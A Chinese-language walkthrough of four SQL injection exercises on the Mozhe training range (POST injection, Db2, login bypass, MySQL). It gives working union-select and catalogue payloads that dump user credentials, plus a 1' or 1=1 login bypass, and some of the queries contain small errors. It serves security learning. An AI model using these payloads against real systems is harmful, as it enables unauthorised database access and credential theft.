前言:首次注册登录墨者账号后会获得12墨笔,可用该货币购买靶场,注意货币的剩余量。
1.SQL注入漏洞测试(POST)
首先我们要购买并启动靶场
点击访问跳转页面,获得KEY后在这里提交
该题提示POST方式提交,我们需要通过burpsuite抓包
在name后加单引号测试发现有sql注入,那我们就按照sql手工注入流程来
这里发现联合注入(name='1 union select 1,2,3 #)直接得出KEY
最后提交KEY完成
2.SQL手工注入漏洞测试(Db2数据库)
同上述一致,启动环境并访问
我们先鼠标右击查看网站源代码并访问
在这里进行sql手工注入
因为题目已经提示用手工注入(一定有sql注入漏洞)我们直接从查字段开始。
1)用order by 测试字段 发现可以 测试到字段为4
?id=1 order by 4--+
id=1 order by 5--+
2)接下来 我们用联合查询 测试字段为4 注意该环境使用的是db2数据库,所以我们应该用以下代码
id=-1 union select 1,2,3,4 from sysibm.systables --+
发现回显位置为2和3
3)接下来我们继续查库,用以下语法:
id=-1 union select 1,2,current schema,4 from sysibm.sysdummy1
SYSIBM.SYSDUMMY1表是一个内存的特殊表(按照Oracle的术语,习惯称之为“伪表”),常用于访问DB2中的寄存器,从而返回特定需要内容,类同于临时表
4)接着查表
id=-1 union select 1,2,tabname,4 from syscat.tables where tabschema='DB2INST1' limit 0,1 --+
5)继续查字段
id=-1 union select 1,2,colname,3,4 from syscat.columns where tabname='DB2INST1' and tabschema='GAME_CHARACTER' --+
我们发现表是空的,仔细检查语法发现没有错误,这时候可能字段名被隐藏了,我们要学会猜字段,一般都是username(name),password(pwd/passwd)
6)最后查账号与密码
id=-1 union select 1,name,password,4 from GAME_CHARACTER limit 1,1 --+
这里密码用了md5加密,在网上搜一个解密工具解密就可以得到密码
输入账号密码登录得到key
提交key结束
3.SQL注入漏洞测试(登录绕过)
启动靶场并访问网站
登录一般测试弱口令或万能密码(1' or 1=1)
这题弱口令测试失败,使用万能密码成功登录
得到KEY提交并结束
4.SQL手工注入漏洞测试(MySQL数据库)
启动靶场并访问网站
我们先鼠标右击查看网站源代码并访问
在这里进行sql手工注入
该题是一个标准的sql手工注入问题
1)判断是否有sql注入
id=1 and 1=2 --+
id=1 and 1=1 --+
2)查寻字段数
id =1 and order by 4 --+
id =1 and order by 4 --+
得字段数为4
3)联合查询判断回显位置
id=1 union select 1,2,3,4 --+
4)查数据库名
id=1 union select 1,database(),version(),4 --+
5)根据库名查表名
id=1 union select 1,group_concat(table_name),version(),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+
6)根据表名查字段名
id=1 union select 1,group_concat(column_name),version(),4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StromGroup_member'--+
7)从表中查用户名与密码
id=1 union select 1,group_concat(name,'-',password),version(),4 from StromGroup_member--+
同上解码的密码
登录得KEY并提交结束。